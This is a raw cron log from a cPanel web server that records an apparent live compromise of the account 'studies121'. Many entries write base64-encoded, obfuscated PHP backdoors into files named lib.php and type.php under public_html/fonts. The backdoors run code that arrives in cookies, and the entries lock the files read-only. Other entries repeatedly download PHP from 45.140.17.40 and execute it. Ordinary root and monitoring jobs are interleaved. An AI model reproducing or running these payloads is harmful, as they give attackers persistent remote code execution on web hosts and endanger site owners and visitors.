Sep 21 18:47:01 ip-184-168-122-23 CROND[30593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:47:01 ip-184-168-122-23 CROND[30592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:48:01 ip-184-168-122-23 CROND[30889]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:48:01 ip-184-168-122-23 CROND[30890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:48:01 ip-184-168-122-23 CROND[30893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:48:01 ip-184-168-122-23 CROND[30891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:48:01 ip-184-168-122-23 CROND[30892]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:49:01 ip-184-168-122-23 CROND[30999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:49:01 ip-184-168-122-23 CROND[31003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:49:01 ip-184-168-122-23 CROND[31005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:49:01 ip-184-168-122-23 CROND[31004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:50:01 ip-184-168-122-23 CROND[31111]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:50:02 ip-184-168-122-23 CROND[31113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:50:02 ip-184-168-122-23 CROND[31115]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 18:50:02 ip-184-168-122-23 CROND[31116]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 18:50:02 ip-184-168-122-23 CROND[31118]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 18:50:02 ip-184-168-122-23 CROND[31117]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 18:50:02 ip-184-168-122-23 CROND[31114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:50:02 ip-184-168-122-23 CROND[31119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:50:02 ip-184-168-122-23 CROND[31120]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:51:02 ip-184-168-122-23 CROND[31260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:51:02 ip-184-168-122-23 CROND[31262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:51:02 ip-184-168-122-23 CROND[31263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:51:02 ip-184-168-122-23 CROND[31264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:52:01 ip-184-168-122-23 CROND[31390]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:52:01 ip-184-168-122-23 CROND[31393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:52:01 ip-184-168-122-23 CROND[31392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:52:01 ip-184-168-122-23 CROND[31397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:52:01 ip-184-168-122-23 CROND[31398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:53:01 ip-184-168-122-23 CROND[31614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:53:01 ip-184-168-122-23 CROND[31616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:53:01 ip-184-168-122-23 CROND[31619]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:53:01 ip-184-168-122-23 CROND[31618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:54:01 ip-184-168-122-23 CROND[31726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:54:01 ip-184-168-122-23 CROND[31727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:54:01 ip-184-168-122-23 CROND[31729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:54:01 ip-184-168-122-23 CROND[31730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:54:01 ip-184-168-122-23 CROND[31731]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:55:01 ip-184-168-122-23 CROND[31840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:55:01 ip-184-168-122-23 CROND[31841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:55:01 ip-184-168-122-23 CROND[31842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:55:01 ip-184-168-122-23 CROND[31846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:55:01 ip-184-168-122-23 CROND[31845]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 18:55:01 ip-184-168-122-23 CROND[31848]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 18:56:01 ip-184-168-122-23 CROND[31961]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:56:01 ip-184-168-122-23 CROND[31963]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:56:01 ip-184-168-122-23 CROND[31964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:56:01 ip-184-168-122-23 CROND[31965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:56:01 ip-184-168-122-23 CROND[31966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:57:01 ip-184-168-122-23 CROND[32079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:57:01 ip-184-168-122-23 CROND[32081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:57:01 ip-184-168-122-23 CROND[32083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:57:01 ip-184-168-122-23 CROND[32086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:58:01 ip-184-168-122-23 CROND[32184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:58:01 ip-184-168-122-23 CROND[32185]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:58:01 ip-184-168-122-23 CROND[32189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 18:58:01 ip-184-168-122-23 CROND[32188]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 18:58:01 ip-184-168-122-23 CROND[32190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 18:59:01 ip-184-168-122-23 CROND[32361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 18:59:01 ip-184-168-122-23 CROND[32362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 18:59:02 ip-184-168-122-23 CROND[32364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
